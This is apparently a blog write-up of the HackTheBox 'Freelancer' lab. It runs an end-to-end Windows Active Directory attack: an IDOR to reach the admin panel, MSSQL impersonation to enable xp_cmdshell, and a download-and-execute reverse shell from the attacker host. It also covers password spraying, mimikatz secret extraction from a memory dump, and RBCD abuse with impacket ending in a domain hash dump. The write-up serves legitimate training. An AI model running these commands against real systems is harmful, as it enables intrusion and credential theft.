Hackthebox: Freelancer

Foued SAIDI Lv4
  2024-10-04 17:17:18 2024-10-04 17:17:18 Created   2024-10-05 18:50:20 2024-10-05 18:50:20 Updated    

Overview

Freelaner is a hard-difficulty windows machine on HackTheBox, dealing initially with exploiting an IDOR vulnerability to get admin access on the dashboard followed by abusing user impersonation on MSSQL server to gain command execution using xp_cmdshell. Later analyzing a windows datacenter memory dump with MemProcFS to gain another user credentials and abuse Resource Based Constrained Delegation.

Freelancer-info-card
Freelancer-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
PS C:\Users\0xkujen> nmap -A -Pn 10.129.9.24
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-20 19:27 W. Central Africa Standard Time
NSOCK ERROR [0.3230s] ssl_init_helper(): OpenSSL legacy provider failed to load.

Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 2.10% done; ETC: 19:27 (0:00:00 remaining)
Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.20% done; ETC: 19:27 (0:00:00 remaining)
Nmap scan report for 10.129.9.24
Host is up (0.11s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.25.5
|_http-title: Did not follow redirect to http://freelancer.htb/
|_http-server-header: nginx/1.25.5
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-20 23:30:45Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=9/20%OT=53%CT=1%CU=34240%PV=Y%DS=2%DC=T%G=Y%TM=66EDBEB
OS:B%P=i686-pc-windows-windows)SEQ(SP=FE%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%
OS:TS=U)SEQ(SP=FE%GCD=1%ISR=107%TI=RD%CI=I%II=I%TS=U)OPS(O1=M54ENW8NNS%O2=M
OS:54ENW8NNS%O3=M54ENW8%O4=M54ENW8NNS%O5=M54ENW8NNS%O6=M54ENNS)WIN(W1=FFFF%
OS:W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54EN
OS:W8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=
OS:0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T
OS:4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y
OS:%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%
OS:RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-09-20T23:31:08
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
|_clock-skew: 5h03m22s

TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   173.00 ms 10.10.16.1
2   67.00 ms  10.129.9.24

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.03 seconds

We can see that port 80 is redirecting us to http://freelancer.htb/, so let’s add that entry to our /etc/hosts file.

Web Application - http://freelancer.htb/

Web Application
Web Application

We can see that this is a casual web app with a login and registration feastures. We can register ourselves both as a Freelancer or Employer.

Employer Account Registration

At first, the app tells us our account won’t be active upon creation:

Employer Registration
Employer Registration

And yes, once we try to login we’ll not be able to authenticate:

Employer Registration
Employer Registration

Taking a look at the Forgot Password feature, I try to reset my password entering my details first (I thought of this after exhausting all other though and trials to access the dashboard):

Employer Registration
Employer Registration

Then we are asked to change our password:

Employer Registration
Employer Registration

After changing my password and trying to login again, I don’t get the authentication error and I’m in:

Employer Registration
Employer Registration

QR Code Manipulation

One feature that intrigued me was the QR-Coe one:

QR Code
QR Code

Scanning the provided QR, I get this URL: http://freelancer.htb/accounts/login/otp/MTAwMTA=/1d3b89a43cc2ba9d0fd838ad1ef4dcea/
One thing I suspected is that “MTAwMTA=” looked like some base64 encoded string, I decode it and it give me the number “10010” which looks like some user id.
I honestly was so lazy to create another user and validate it to check if the user id theory was correct. So I just assumed it is haha.

Therefore I tried different user id to try and reach an admin id. Trying the base64 value for id “1” gives me an Internal Server Error 500, as where the base64 value for id “2” returns this message:

QR Code
QR Code

But I was doing it really slow, so let’s re-do it more quickly:

Admin Access
Admin Access

(PS: the base64 value for the id “2” is Mgo= - it’s the only value that worked for me)

MSSQL Exploitation - http://freelancer.htb/admin/

MSSQL Abuse
MSSQL Abuse

Seeing that we are on a windows box, I immediately thought of MSSQL as the database management service. One thing I can do is try and enable xp_cmdshell on mssql to execute commands:

MSSQL Abuse
MSSQL Abuse

But we can see it failed due to lack of permissions. I thne immediately thought of this HackTricks article where we’ll be trying to impersonate sysadmin user:

1
2
3
4
5
6
7
8
9
10
select user_name(); //to determine the user name to add the role to which is Freelancer_webapp_user
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'sa'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'
SELECT IS_SRVROLEMEMBER('sysadmin')

EXEC sp_configure 'show advanced options', '1';RECONFIGURE;EXEC sp_configure 'xp_cmdshell', '1' ;RECONFIGURE

EXEC xp_cmdshell 'whoami';

And now we can execute commands as we please:

MSSQL Abuse
MSSQL Abuse

Let’s get a shell then :D

Shell as freelancer\sql_svc

We execute our reverse shell command:

1
2
EXEC xp_cmdshell 'powershell -c iex(iwr 10.10.x.x/r.ps1 -usebasicparsing);';

And we are in:

1
2
3
4
5
6
7
8
9
10
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.160.22] 55468
Windows PowerShell running as user sql_svc on DC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32>whoami
freelancer\sql_svc
PS C:\WINDOWS\system32>

As usual, I’ll be looking for hidden database credentials. Looking at the MSSQL server configurations, I stumbled upon sql-Configuration.INI file with a password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PS C:\users\sql_svc\downloads\SQLEXPR-2019_x64_ENU> cat sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="FREELANCER\sql_svc"
SQLSVCPASSWORD="IL0v3ErenY3ager"
SQLSYSADMINACCOUNTS="FREELANCER\Administrator"
SECURITYMODE="SQL"
SAPWD="t3mp0r@ryS@PWD"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
PS C:\users\sql_svc\downloads\SQLEXPR-2019_x64_ENU>

The password is: IL0v3ErenY3ager
I’ll check the C:/users folder to get usernames for enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS C:\users> ls


    Directory: C:\users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/4/2024  10:57 PM                Administrator
d-----        5/28/2024  10:23 AM                lkazanof
d-----        5/28/2024  10:23 AM                lorra199
d-----        5/28/2024  10:22 AM                mikasaAckerman
d-----        8/27/2023   1:16 AM                MSSQLSERVER
d-r---        5/28/2024   2:13 PM                Public
d-----        5/28/2024  10:22 AM                sqlbackupoperator
d-----        5/28/2024  11:16 AM                sql_svc


PS C:\users>

Running the usernames and password against crackmapexec I find a valid match for mikasaAckerman user:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/hackthebox/freelancer]
└─$ crackmapexec smb freelancer.htb -u users.txt -p IL0v3ErenY3ager --continue-on-success
SMB         10.129.9.24     445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB         10.129.9.24     445    DC               [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager 
SMB         10.129.9.24     445    DC               [-] freelancer.htb\lorra199:IL0v3ErenY3ager STATUS_LOGON_FAILURE 
SMB         10.129.9.24     445    DC               [-] freelancer.htb\lkazanof:IL0v3ErenY3ager STATUS_LOGON_FAILURE 
SMB         10.129.9.24     445    DC               [-] freelancer.htb\Administrator:IL0v3ErenY3ager STATUS_LOGON_FAILURE 
SMB         10.129.9.24     445    DC               [-] freelancer.htb\:IL0v3ErenY3ager STATUS_LOGON_FAILURE

I can get a shell as this user using RunasCs to perform actions by impersonating him. Therefore gaining a shell:

1
2
3
4
5
6
7
PS C:\users\sql_svc\downloads> iwr 10.10.x.x/RunasCs.exe -outfile run.exe
PS C:\users\sql_svc\downloads> ./run.exe mikasaAckerman IL0v3ErenY3ager powershell.exe -r 10.10.x.x:9001

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-3ea25$\Default
[+] Async process 'C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4880 created in background.
PS C:\users\sql_svc\downloads>

And we get our shell:

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.160.22] 61400
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> whoami
whoami
freelancer\mikasaackerman
PS C:\WINDOWS\system32>

And we get our user flag:

1
2
3
4
PS C:\users\mikasaackerman\desktop> cat user.txt
cat user.txt
55360f18f618fe******************
PS C:\users\mikasaackerman\desktop

Privilege Escalation to Administrator

On mikasaAckerman‘s desktop, we could also see two interesting files, one of which is mail.txt:

1
2
3
4
5
6
7
8
PS C:\users\mikasaackerman\desktop> cat mail.txt
cat mail.txt
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,
PS C:\users\mikasaackerman\desktop>

Reading the mail file, we can conclude that the MEMORY.7z file is a Datacenter memory dump file. I will transfer the file over to my station and have a look at it.
For this I will be using this script to make it a base64 file and then transfer it over to my machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$inputFile = "C:\users\mikasaackerman\desktop\MEMORY.7z"
$outputFile = "C:\users\mikasaackerman\desktop\mem.b64"

$inputStream = [System.IO.File]::OpenRead($inputFile)
$outputStream = [System.IO.StreamWriter]::new($outputFile)

try {
    $chunkSize = 64KB
    $buffer = New-Object byte[] $chunkSize
    while (($bytesRead = $inputStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
        $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
        $outputStream.WriteLine($encodedChunk)
    }
}
finally {
    $inputStream.Close()
    $outputStream.Close()
}
Write-Host "Base64 encoding completed."

Then I cleaned it and transferred it again to the 7z format:

1
2
grep -o '[A-Za-z0-9+/=]' mem.b64 | tr -d '\n' > cleaned_mem.b64 
base64 -d cleaned_mem.b64  > memory.7z

As the MEMORY.7z file is a datacenter memory dump, at first I thought of using Volatility to analyze it (as I love that tool). But after some more research I stumbled onto MemProcFS tool which will allow me to view the dump on a virtual system.
MemProcFS has many features and plugins, one of which is mimikatz which gave me the sam hive including lorra user’s password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
PS M:\py\regsecrets> cat .\sam.txt
============== SAM hive secrets ==============
HBoot Key: ea5f053efa118386e50003fe8d99078310101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:725180474a181356e53f4fe3dffac527:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04fc56dd3ee3165e966ed04ea791d7a7:::
PS M:\py\regsecrets> cat .\all.txt
============== SAM hive secrets ==============
HBoot Key: ea5f053efa118386e50003fe8d99078310101010101010101010101010101010
Administrator:500:aad3b435b51404eeaad3b435b51404ee:725180474a181356e53f4fe3dffac527:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04fc56dd3ee3165e966ed04ea791d7a7:::
============== SECURITY hive secrets ==============
Iteration count: 10240
Secrets structure format : VISTA
LSA Key: c6a7057cad4f93923c45b26cbaaa5550ce747620c8ef8772e53dccb70f55889e
NK$LM Key: 40000000000000000000000000000000634d9d4c85ef33ffa5e14de2dca12075d220eaa9bce0db7dbe77e9be6ead47ec2602e1f6bff5c5ccf9d67a16491c43c5776de0a8c6241536bf27499619b96320fe8905909f598175c930e9b170818d39
FREELANCER.HTB/Administrator:*2023-10-04 12:55:34*$DCC2$10240#Administrator#67a0c0f193abd932b55fb8916692c361
FREELANCER.HTB/lorra199:*2023-10-04 12:29:00*$DCC2$10240#lorra199#7ce808b78e75a5747135cf53dc6ac3b1
FREELANCER.HTB/liza.kazanof:*2023-10-04 17:31:23*$DCC2$10240#liza.kazanof#ecd6e532224ccad2abcf2369ccb8b679
=== LSA Machine account password ===
History: False
NT: 1003ddfa0a470017188b719e1eaae709
Password(hex): a680a4af30e045066419c6f52c073d738241fa9d1cff591b951535cff5320b109e65220c1c9e4fa891c9d1ee22e990c4766b3eb63fb3e2da67ebd19830d45c0ba4e6e6df93180c0a7449750655edd78eb848f757689a6889f3f8f7f6cf53e1196a528a7cd105a2eccefb2a17ae5aebf84902e3266bbc5db6e371627bb0828c2a364cb01119cf3d2c70d920328c814cad07f2b516143d86d0e88ef1504067815ed70e9ccb861f57394d94ba9f77198e9d76ecadf8cdb1afda48b81f81d84ac62530389cb64d412b784f0f733551a62ec0862ac2fb261b43d79990d4e2bfbf4d7d4eeb90ccd7dc9b482028c2143c5a6010
Kerberos password(hex): e882a6eabea4ee80b0d985e1a5a4ef9786dcace78cbde48682e9b7baefbc9ce1ad99e19695ecbcb5e38bb5e1808be6969ee0b0a2e9b89ceaa18feca691eebb91eea4a2ec9290e6adb6eb98beeb8cbfefbfbdeeada7e9a391ed90b0e0ad9cee9aa4efbfbde1a293e0a88ce4a5b4d9b5eeb595e8bb97e4a2b8e59fb7e9a9a8e8a5a8efa3b3ef9bb7e58f8fe1a7a1e589aae7b28ad791eeb2a2efaf8ee19caae5aaaeefa3abc989e29ba3ebb1abeb999de787a3e7ada2e88ab0e2aa8ce4b0b6e186b0ecbc99e2b0bdefbfbde388a0e8868ceab58cef8887e19ab5e3b494ed8286e8bba8e583b1e69d80e5ba81e0bb97ecae9ce1be86e3a597e9918de9bebae1a5b7e9b68eeeb1b6efa2adeb878defbfbdeba188e8849fe4ab98e29786e3a0b0eb9a9ce4858de7a0abe0bd8fe395b3ea9991ec80aee2aa86efaf82e1aca6ed9d83e98299ee8b94ebbebfe7b58deead8eecb290efbfbde4a29be2a0a0e19382e5a8bce181a0
=== LSA Machine account password ===
History: True
NT: 4e7857719aec1e3f13e79f28f68bb95d
Password(hex): 3300740032004300770065003b0038004b00780021003a0062002c0072003d0034002300280024007a002a006a006900450049005000220031003000600063002d0049002500680060004000280029002300560077004f0027006e005d0042006c007300510043003a00230055005100410048004b006e003b0024003900430030004000200047007400420049003300430048005f0036006200740024003b002000750052002500530067006500420066004d004d00600076005a0030004000740038005b003300460067004400620058006f0051005e004c0036005a00370072004200780038003900200078003a00
Kerberos password(hex): 3374324377653b384b78213a622c723d342328247a2a6a6945495022313060632d492568604028292356774f276e5d426c7351433a23555141484b6e3b243943304020477442493343485f366274243b2075522553676542664d4d60765a304074385b3346674462586f515e4c365a37724278383920783a
=== LSA DPAPI secret ===
History: False
Machine key (hex): cf1bc407d272ade7e781f17f6f3a3fc2b82d16bc
User key(hex): 6d210ab98889fac8829a1526a5d6a2f76f8f9d53
=== LSA DPAPI secret ===
History: True
Machine key (hex): ee8c9b3c041dc01afb54b421d4fafa0bbd314c1c
User key(hex): a3a744a52e541603869eef3ee06191dd8597db83
=== LSASecret NL$KM ===

History: False
Secret:
00000000:  63 4d 9d 4c 85 ef 33 ff  a5 e1 4d e2 dc a1 20 75   |cM.L..3...M... u|
00000010:  d2 20 ea a9 bc e0 db 7d  be 77 e9 be 6e ad 47 ec   |. .....}.w..n.G.|
00000020:  26 02 e1 f6 bf f5 c5 cc  f9 d6 7a 16 49 1c 43 c5   |&.........z.I.C.|
00000030:  77 6d e0 a8 c6 24 15 36  bf 27 49 96 19 b9 63 20   |wm...$.6.'I...c |
=== LSASecret NL$KM ===

History: True
Secret:
00000000:  63 4d 9d 4c 85 ef 33 ff  a5 e1 4d e2 dc a1 20 75   |cM.L..3...M... u|
00000010:  d2 20 ea a9 bc e0 db 7d  be 77 e9 be 6e ad 47 ec   |. .....}.w..n.G.|
00000020:  26 02 e1 f6 bf f5 c5 cc  f9 d6 7a 16 49 1c 43 c5   |&.........z.I.C.|
00000030:  77 6d e0 a8 c6 24 15 36  bf 27 49 96 19 b9 63 20   |wm...$.6.'I...c |
=== LSA Service User Secret ===
History: False
Service name: _SC_MSSQL$DATA
Username: UNKNOWN
00000000:  50 57 4e 33 44 23 6c 30  72 72 40 41 72 6d 65 73   |PWN3D#l0rr@Armes|
00000010:  73 61 31 39 39                                     |sa199|
=== LSA Service User Secret ===
History: True
Service name: _SC_MSSQL$DATA
Username: UNKNOWN
00000000:  4d 53 53 51 4c 53 33 72  76 33 72 50 40 73 73 77   |MSSQLS3rv3rP@ssw|
00000010:  64 23 30 39                                        |d#09|
============== SOFTWARE hive secrets ==============
default_logon_user:
default_logon_domain: TEST
default_logon_password: None
PS M:\py\regsecrets>

The credentials are: lorra199:PWN3D#l0rr@Armessa199

Let’s try to perform BloodHound enumeration on the system using those creds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~/Downloads]
└─$ bloodhound-python -c ALL -u lorra199 -p 'PWN3D#l0rr@Armessa199' -d freelancer.htb -dc dc.freelancer.htb -ns  10.129.160.22 --zip
INFO: Found AD domain: freelancer.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.freelancer.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 8 computers
INFO: Connecting to LDAP server: dc.freelancer.htb
INFO: Found 30 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SetupMachine.freelancer.htb
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: Datacenter-2019
INFO: Querying computer: DC.freelancer.htb
WARNING: Could not resolve: Datacenter-2019: The DNS operation timed out after 3.1036694049835205 seconds
INFO: Done in 00M 16S
INFO: Compressing output into 20241005120853_bloodhound.zip


Now let’s also check if we could connect with lorra on the system:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Downloads]
└─$ evil-winrm -i 10.129.160.22  -u lorra199 -p 'PWN3D#l0rr@Armessa199'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lorra199\Documents> whoami
freelancer\lorra199
*Evil-WinRM* PS C:\Users\lorra199\Documents>

Resource Based Constrained Delegation

Putting that into Bloodhound, we can see that “lorra” is a member of the AD Recycle Bin and has generic rights on the domain controller itself:

RBCD
RBCD

RBCD
RBCD

Now I’m going to abuse RBCS (resource based constrained delegration) by adding a fake computer that I control to the domain. Then I can perform actions as the DC to request Kerberos tickets for my fake computer giving me the ability to impersonate other accounts, like Administrator:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Kujen2024!' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account ATTACKER$ with password Kujen2024!.

This command allows the ATTACKER$ computer to delegate write authority to the DC$ computer so that it can perform specific actions:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/impacket/examples]
└─$ python3 rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'DC$' -dc-ip 10.129.160.22 -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKER$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKER$    (S-1-5-21-3542429192-2036945976-3483670807-12101)

I just did sync my clock to the DC to avoid any issues:

1
2
3
4
5
┌──(kali㉿kali)-[~/impacket/examples]
└─$ sudo ntpdate -u 10.129.160.22
2024-10-05 12:22:39.952632 (-0400) +99.756066 +/- 0.022332 10.129.160.22 s1 no-leap
CLOCK: time stepped by 99.756066

Then I get service ticket for the cifs service using the Kerberos. Using this ticket, I can impersonate a specific user (aka Administrator hehe):

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/impacket/examples]
└─$ impacket-getST -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.129.160.22 'freelancer.htb/ATTACKER$:Kujen2024!' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

I can now do a secretsdump on the DC to obtain all users hashes, therefore rooting the machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~/impacket/examples]
└─$ export KRB5CCNAME=Administrator@[email protected]
┌──(kali㉿kali)-[~/impacket/examples]
└─$ impacket-secretsdump 'freelancer.htb/[email protected]' -k -no-pass -dc-ip 10.129.146.117 -target-ip 10.129.146.117 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d238e0bfa17d575038efc070187a91c2:::
freelancer.htb\mikasaAckerman:1105:aad3b435b51404eeaad3b435b51404ee:e8d62c7d57e5d74267ab6feb2f662674:::
sshd:1108:aad3b435b51404eeaad3b435b51404ee:c1e83616271e8e17d69391bdcd335ab4:::
SQLBackupOperator:1112:aad3b435b51404eeaad3b435b51404ee:c4b746db703d1af5575b5c3d69f57bab:::
sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::
lorra199:1116:aad3b435b51404eeaad3b435b51404ee:67d4ae78a155aab3d4aa602da518c051:::
freelancer.htb\maya.artmes:1124:aad3b435b51404eeaad3b435b51404ee:22db50a324b9a34ea898a290c1284e25:::
freelancer.htb\michael.williams:1126:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::
freelancer.htb\sdavis:1127:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\d.jones:1128:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\jen.brown:1129:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\taylor:1130:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\jmartinez:1131:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\olivia.garcia:1133:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\dthomas:1134:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\sophia.h:1135:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\Ethan.l:1138:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\wwalker:1141:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\jgreen:1142:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\evelyn.adams:1143:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\hking:1144:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\alex.hill:1145:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\samuel.turner:1146:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\ereed:1149:aad3b435b51404eeaad3b435b51404ee:933a86eb32b385398ce5a474ce083447:::
freelancer.htb\leon.sk:1151:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::
freelancer.htb\carol.poland:1160:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::
freelancer.htb\lkazanof:1162:aad3b435b51404eeaad3b435b51404ee:a26c33c2878b23df8b2da3d10e430a0f:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:89851d57d9c8cc8addb66c59b83a4379:::
DATACENTER-2019$:1115:aad3b435b51404eeaad3b435b51404ee:7a8b0efef4571ec55cc0b9f8cb73fdcf:::
DATAC2-2022$:1155:aad3b435b51404eeaad3b435b51404ee:007a710c0581c63104dad1e477c794e8:::
WS1-WIIN10$:1156:aad3b435b51404eeaad3b435b51404ee:57e57c6a3f0f8fff74e8ab524871616b:::
WS2-WIN11$:1157:aad3b435b51404eeaad3b435b51404ee:bf5267ee6236c86a3596f72f2ddef2da:::
WS3-WIN11$:1158:aad3b435b51404eeaad3b435b51404ee:732c190482eea7b5e6777d898e352225:::
DC2$:1159:aad3b435b51404eeaad3b435b51404ee:e1018953ffa39b3818212aba3f736c0f:::
SETUPMACHINE$:8601:aad3b435b51404eeaad3b435b51404ee:f5912663ecf2c8cbda2a4218127d11fe:::
